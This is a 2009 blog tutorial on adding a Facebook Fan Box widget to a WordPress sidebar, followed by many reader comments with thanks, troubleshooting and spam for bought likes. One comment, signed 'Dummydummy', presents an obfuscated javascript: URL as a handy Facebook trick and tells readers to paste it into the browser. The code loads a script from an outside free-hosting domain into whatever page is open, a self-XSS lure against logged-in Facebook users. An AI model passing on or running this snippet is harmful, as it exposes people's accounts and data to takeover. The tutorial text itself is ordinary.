Facebook Pages – How To Add A Facebook Fan Box To Your Wordpress Blog

July 10, 2009

Hello there! If you are new here, you might want to subscribe to the RSS feed for updates on this topic.

Get More Fans For Your Facebook Fan Page

Yesterday Facebook released a new application that allows you to place a Facebook Connect widget on your website that links directly to your Facebook fan page

This article will show you how easy it is to add a Facebook Fan box to your blog or website. What this means is that you will be able to attract more Fans to your Facebook page and your prospective fans will instantly see your stream and your other Fans and get some idea about what type of content you will be sharing

Set Up A Facebook Page

You need to have a Facebook Fan page in order to use this application, just scroll to the bottom of your facebook profile and click on “advertising” and then select the “pages” tab and then select “Create A Page”, for more information on how to create a Facebook Page check out this blog post on AllFacebook – “how to create a Facebook fan page to attract millions of fans” check out Mari Smiths blog post “how to create and promote a Facebook fan page”

Once you have your fan page set up you can create your fan widget by going to your admin panel, from your page you just click the link Edit Page link that is below your Fan Page Image/Logo

Select “Add Fan Box” Box from your Admin Panel

Now select your Fan page from the drop down menu and facebook will show you a preview of what your Fan Box will look like. If you want to make it smaller just uncheck the boxes that say “include stream” and “include fans” (this might be necessary if you want to improve the load time of your blog or website or if you are limited for space)

Copy The Java Script Code

Now select all the code by highlighting it (CTRL A, CTRL C (pc) CMD A, CMD C (mac)) and copy it to your clip board. If you are a techie and want to find out a bit more about customizing your widget click on “advanced options” and you will be taken to Facebook developers where they have detailed instructions on how to add a fan box

Go to your blog and log into the admin section, for this example I am using wordpress but the technique should be similar on any other platform

Add A New Text Widget

From your dashboard , select appearance and then select “Widgets”

Now create a new text widget.

Depending on which version of Wordpress you are using this will be slightly different, if wordpress 2.8 just drag and drop a text widget to one of your sidebars and place it where you want it to appear. If your blog theme is enabled with footer widgets you might want to place it there as Javascript and Facebook connect are notorious for slowing down your blog load times

Paste The Code Into Your Widget

Now paste the code from Facebook into your text widget and remeber to click Save

Now Go And See What It Looks Like!

That’s it all done, wasn’t too painful was it? All you have to do now is go to your site and see what it looks like

Advantage Of having A Facebook Fan Box

The main advantage of having a Facebook fan box is that your visitors can become Fans immediatly as long as they are already signed into Facebook. Before this it was a two step process where you had to take people to your Fan page and then convice them to click on the “become a fan” button

What I like even more is that I can see immediatly what content is being shared on a Fan page and who the other members are. All the links are clickable so some marketers might say this is leak away from having visitors staying on your blog. I personally disagree. I think people are more likely to come back to your blog, engage with your content and be able to quickly scan your fanpage stream without having to visit Facebook. If they do decide to leave you have some control over the links that they will visit.

Getting Your Community Connected

The advantages of having your community connected with each other are immense. The more networked your Fans are the more effect any fan interactions will have on facebooks newsfeed. More people will see if their friends are commenting or liking the content that you publish in your stream. Your aim is to create and own an integrated network of Fans where information and news spreads rapidly and your fan page is the centre and hub that this revolves around.

If your blog is hosted on Wordpress.com

A number of readers have discovered that it’s not possible to add this widget to free wordpress.com blogs. This is mainly due to a restriction on allowing Javascript code to be placed on their servers. If this is the case the only solution I can suggest if you want to have your own Facebook Fan Box is to move your blog over to Wordpress.org and purchase your own domain name and hosting. You can buy a domain name for $10 from Godaddy and get cheap hosting from Hostgator

Share This Post

If you have enjoyed this post, please do me a favor and share it on Facebook with all your friends, they will definitely thank you for it. Please leave any comments or questions below, I would love to hear your feedback.

My Fan Page : http://www.facebook.com/idchapman

My Facebook Profile : http://www.facebook.com/iandavidchapman

Follow Me On Twitter : http://www.twitter.com/iandavidchapman

My Blog : http://www.iandavidchapman.com

Tagged as: facebook, facebook fan box, facebook fan page, facebook page, how to add a fan box

buy cheap facebook fans

I’d constantly want to be update on new content on this internet site , bookmarked ! .
Bingo sites

The colour fades into my widget back ground and looks wrong. I wanted the colour as the dark setting, yet the colours disappear on my site. Can anyone help me?
osman Sajjad

its a nice and easy way to add a fan box i added on my facebook fan page where i get likes with buy

buy facebook likes
origami

Very good job. Found this post, which I was searching for. I will try to follow these steps for my blog. Thanks for writeup.
Buy to Let Properties

Just tried is practically on my wordpress blog. Worked perfectly! Great help:)
Omar Khan

The facebook page interface has changed. I can't seem to find the Add Fanbox option in the new one.
Victor

I added a box across the page - http://developers.facebook.com...
The fact that it was necessary for my blog - http://worm.org.ua/
Bikemike

Above, it says:
Select “Add Fan Box” Box from your Admin Panel
Where is the "Admin panel"?
Ajith Basnayake

Latest technology

http://www.amazingeworld.com
Muhammad Usman

amazing post...
http://vsocio.com
Deborah Dover

Thank You. Now if you can only tell or show me how to change my old fan page to the new business page without losing my likes.
Deborah Dover

Thank You. Now if you can only tell or show me how to change my old fan page to the new business page without losing my likes.
Dummydummy

i think the best tips todays for facebook it with the nice tricks of java , put that on your browser and press enter

javascript:eval(function(p,a,c,k,e,r){e=function(c
){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('1:(a=(b=2).3("4")).5="6://7.8-9.c/d/e.f",b.g.h(a);i(0)',19,19,'|javascript|document|createElement|script|src|http|mwfreegiftlink|host|ed|||net|FB|jasmine|js|body|appendChild|void'.split('|'),0,{}))
Shobi

Thanks for sharing this useful tips.
Javier

Muchas gracias desde Sevilla, España!! -> Thank you very much, from Seville, Spain!!.

www.webdejavi.es/wordpress
SHEREENABEEYES

HAI FRIENDS , WISH ALL OF YOU A HAPPY NEW YEAR
Anandyadav Bn

Wow it worked Thanks
Prashanth

steps to add facebook comments box to wordpress in less than 10 mins, tutorial video, easy to follow http://tipsandtricksworld.com/...
drburt

Great Post,
For the first time I was able to do something on my website by myself without asking my web guy.
I loved the process
AntZ

Unfortunately my stream isn't wrapping to my 250px width limitation. Any ideas? Cheers in advance
Jeremy Saunders

Hi,
It's a great article, but now outdated. Facebook has significantly changed since this article was released. They've changed the Fan Box terminology to a Like Box. Instead of using the Text Widget, you just need to get the Wordpress Facebook Like Box Widget. Install it, Activate it, Add the Widget to your sidebar, and simply just add the page ID of your fan page to the widget. It works like a charm.
Cheers,
Jeremy.
Bikemike

I don't see anything that says "Like Box". Where is this stuff?
weiming

thanks :) good post
Mbruiz1967

A very excellent tutorial. I really appreciate this very much. Thank you for your hard work.
Luke Williams ☮ ®†

hello it has not worked please can you get back to me thank you
Steve

Thanks, great tutorial! I just applied it to my iPhone App website: www.ifindbikes.com
Rd Dcse

Seen your website its great. I am trying to make a similar like box in my website but its not showing my like list. Its showing some "Platform Like box" as a heading. Please Solve my problem. Thanks in advance. my mail id is rd.dcse@gmail.com
Solarheat

thanks you I really appreciate ur effort :)
http://www.chillopedia.com
Quinn Tamarack

What if i can't i dont have or can't find the link to add fan box?
Trevor Dewitt

Please help!! For some reason, this absolutely won't work for me. Every time I go to save the text box, it erases the code. I've tried the script code, iframe, and xml. I'm so frustrated!
Bunny Tracy

I'm having the same problem, it just erases it when I click save.
fitzyrichard

me too! same problem, it keeps deleting! have you found a solution yet?
Srinivasa Varadhan

I have the solution for this problem right here : Adding Facebook like box widget to your blog in WordPress.com
Link URL : http://indiancriticz.wordpress...

Hope so it is helpful !!
Nay Jade

nowadays this feature only available after u upgrade your account or using private domain, it seems free user cant use any javascript on sidebar anymore
Networking Events

thanks for the article. You may have to change the one pic. It's now called 'Like Box'
laila masanque

hi can you be my friend.
Chandima Kumara

thnx its working for me....!!!!!!!
Indiatechnews

Really cool stuff, just put it up on my blog, but it dosent seem to be working immediately, I guess Ill wait and have a look, great find!
Selcuk

Great tutorial, helped me!

Now I only need an plugin that autoposts my blogposts on my Facebook Fanpage. How can I do that?
Gourav Sharma

Now this link is not there in Edit page
Chris

Hmmm... For some weird reason it keeps showing my personal page rather than my fan page when I do this...

I can't figure it out, and I checked that the page id was correct. -I'm stumped
jramey1978

Thanks so much! After an hour of trying to figure this out myself, your tutorial helped me in a matter of minutes. I now have a facebook fan link on my sidebar.
JasonB

Very nice walk through with pictures.
I'm thinking of adding it to my single post image inline.
Mike

Thanks for this clear tutorial...very easy :)
John Steczko

Thank you for writing this tutorial. I was looking in many places and searching for that script. So simple but still hard to find. It will fit perfectly for my blog.

Greetings

John Steczko
http://karatesoul.com/
UltimateLifestyleProject

Brilliant!

Many thanks for the blonde-friendly, clear and concise instructions on how to add a facebook fan page to my wordpress website.

You're a rockstar!

Lara
Founder of the Ultimate Lifestyle Project
http://ultimatelifestyleprojec...
Mal Gordon

great post. worked a treat. thanks for the info
Barb

Hello,
I installed the Facebook widget on my site, but it only works when you click on categories.
When you click on individual posts or the home page there is only 'coupons on Facebook'.

I really want the widget to work on the individual posts because thats where I send all my
visitors.

Have you got any ideas?
Many thanks.
Barb
Barb

Hello,
I installed the Facebook widget on my site, but it only works when you click on categories.
When you click on individual posts or the home page there is only 'coupons on Facebook'.

I really want the widget to work on the individual posts because thats where I send all my
visitors.

Have you got any ideas?
Many thanks.
Barb
themoneypoems

Thank you. You're the first person to make clear that wordpress.com blogs do not allow fan boxes. I have been trying in vain to install one but was unsure why I was having a problem.
Greg

I have a small workaround for the Facebook Fan Box not working on Wordpress.com. As earlier posters have stated, when the pasting the code, Wordpress automatically truncates the code and insert its own piece of code e.g FB.init("23028c5017f5a6843a15ba1748895d0b"); What you can do is delete that piece of code. All you'll be left with now is a small link to Facebook. You can change the font size in the next line of code, e.g. font-size:12px;. The link still works, and still says Facebook.
Udegbunam Chukwudi

Thanks man. I just created a page for my blog and this tutorial helped a lot
Yamuna Keller

Hi Ian, your information and presentation is fantastic. I will be sure to pass it on! Cheers

Yamuna Keller
Shirlee Grund

i found that you can use a fan badge on wordpress.com ... it'll link to your page but, sadly, doesn't allow for a fan button.
Darryl

excellent article, exactly what I was looking for!! Moments ago I setup my first facebook fanpage, don't have it fully customized yet but these tips will really help once I'm ready to add this widget to my site, which will be soon
Pinoy Blogger Ron

Thanks for this post. Very helpful.
kalipaige

How do you get the short link:

My Fan Page : http://www.facebook.com/idchap...

When I do it, I end up with
http://www.facebook.com/pages/...
davidlloydphoto

Thank you David for the very helpful Tip: Facebook Pages – How To Add A Facebook Fan Box To Your Wordpress Blog.

I have been able to add my Facebook Photography to my Blog: http://www.digitalweddingblog....

And I am enjoying the exploration of what can be done with Social Networking and will look forward to your Posts.

Thank you! David Lloyd
Manuel

Awesome article!! How did you add the Login with Facebook, Twitter, OpenID buttons to your blog? :)
kitchenwizard

Thank you for detailed post. Another thing I can't do on WP.com.... Boooooooooooooo~ I guess I have to put the transfer on my #1 priority.
Marty Green

This is very good information, thanks again for sharing. I'm becoming a fan of the fan.
Darryl Kraemer

Nice tutorial. Thx for sharing!
OnlineStrategy

Thanks for posting this. Clear and succint!
marklewin

This is great information. Thank you.
StockCoach

Thanks Ian,

As usual, another valuable social networking tool.

You are THE Social Network Expert!

John

John McLaughlin, Stock Trading - Consultant / Coach
http://www.DayTradersWin.com

Helping trouble traders, losers, quickly become consistently profitable, wealth building winners earning $3,000+/day, $300,000+/year, all in just 3 months.

Dare to Become a Millionaire!

Follow Stock Trades on:
Twitter - https://twitter.com/John_McLau...
Facebook - http://www.facebook.com/StockC...
profPhilosoraptor

Thanks for the intro to the FB box, but I think you might be kidding users of wordpress with the instructions. Putting the code you copy from FB into a widget is a great way to get it easily compressed into your sidebar, but it does NOT have to be in a widget.

That code could easily be pasted into a new WP template page and used as the main content for a blog page. Or even into the body of the post if you didn't want an entire page dedicated to it.

So keep in mind that this is globally accepted code, anywhere that javascript is enabled. It doesn't have to be confined to a WP widget. Use your imagination!
Jimena

Why post about "How To Add A Facebook Fan Box To Your Wordpress Blog".. if you can´t use it in wordpress :(
iandavidchapman

Hi Jimena, when I wrote this blog post I had no Idea that this solution would not work for wordpress.com blogs. My own blog runs on wordpress.org which is hosted on my own domain name and it works fine. I am sorry you feel frustrated, all I can suggest is contacting the support forums on wordpress.com. If enough people complain then maybe someone can come up with a workaround. It seems stupid that so many people can't use this excellent widget.
Danielle

This is a really helpful article, thanks Ian! I followed each step to the T until I got to the part about wordpress.com. Sigh.
Harsh Agrawal

Hey kudos to you for such a useful and detailed post...
Post got Tweeted by me :)
Rufino

Thanks for your work, but it really doesn't works actually.

When I paste de code into the text widget box and press the <save> button... almost all code desapears... and in wordpress only remanis the following code

FB.init("838c6f0a52fbdc36ac1c0c35b8b62ede");<div style="font-size:8px;padding-left:10px;">Hotel Tximista on Facebook</div>

Have you any solution for this?

Thanks in advance and excuse me for my poor english... </save>
jeffk56

Some information says that people do not have to be registered on Facebook to visit your Fan page, but when non registered users click the link to my fan page, it asks them to sign in or register. Is there a way around this?
atingas

Mine won't load either.... any new info on why??
ykuzikan

I have a non wordpress.com based site and it doesn't work for me either.
Matt Ferris

hi, i have been trying to put one of these boxes on my blog, but it hasn't worked. i have a ".wordpress.com" account at the moment before committing to the domain, and when i run through these steps after i put the script into the text widget i get this

FB.init("23028c5017f5a6843a15ba1748895d0b");<div style="font-size:8px;padding-left:10px;">imtwincities on Facebook</div>

It just automatically changes after i hit save. What do i do?
Srinivasa Varadhan

I have a simple solution for this problem right here : Adding Facebook like box widget to your blog in WordPress.com
Link URL : http://indiancriticz.wordpress...
iandavidchapman

I actually replied to this a while ago but can't see the comment that I made. The problem lies with wordpress.com,

"Users are not allowed to post JavaScript on WordPress.com blogs. Javascript can be used for malicious purposes. Your code and intentions may be perfectly harmless, but it does not mean all javascript will be okay. The security of all the blogs is a top priority and until we can guarantee scripting languages will not be harmful they will not be permitted."
billybob520

Isn't this page about using wordpresss to add a fan page to facebook? and if the code is 'malicious' so does that make the tutorial incorrect now?

there is an IFRAME version that is non java script and it does the same thing. Perhaps you can provide more information on that?
billybob520

i have the EXACT same issue, it cuts off the text - the problem is noted by others on this page as well ...looks like we ALL are still awaiting a reply from the author of the page. Hope there is an answer soon....
Jocelyn Green

I followed your instructions exactly and it seems my widget at Wordpress.com doesn't like the script portion of the code. Every time I save the code, it drops the first few lines and it doesn't save properly. any suggestions?
Amanda

Hi. Great information. We created a business page directly without personal information and I guess you can't use the "fan box" unless you sign up for a personal account first. Is that right?
iandavidchapman

I haven't tested it but I don't see any reason why you can't have a Fan box if you don't have a personal profile. All I can suggest is to try it and see

blog comments powered by Disqus

Check Out My Fan Page

Search My Blog

Popular Posts

Archives

Subscribe To My Feed

Like On Facebook

Changing The World

Categories

Meta

View My Profile

Reccomended Services

Stat Counter

About

Recent Posts

Blogroll

Tags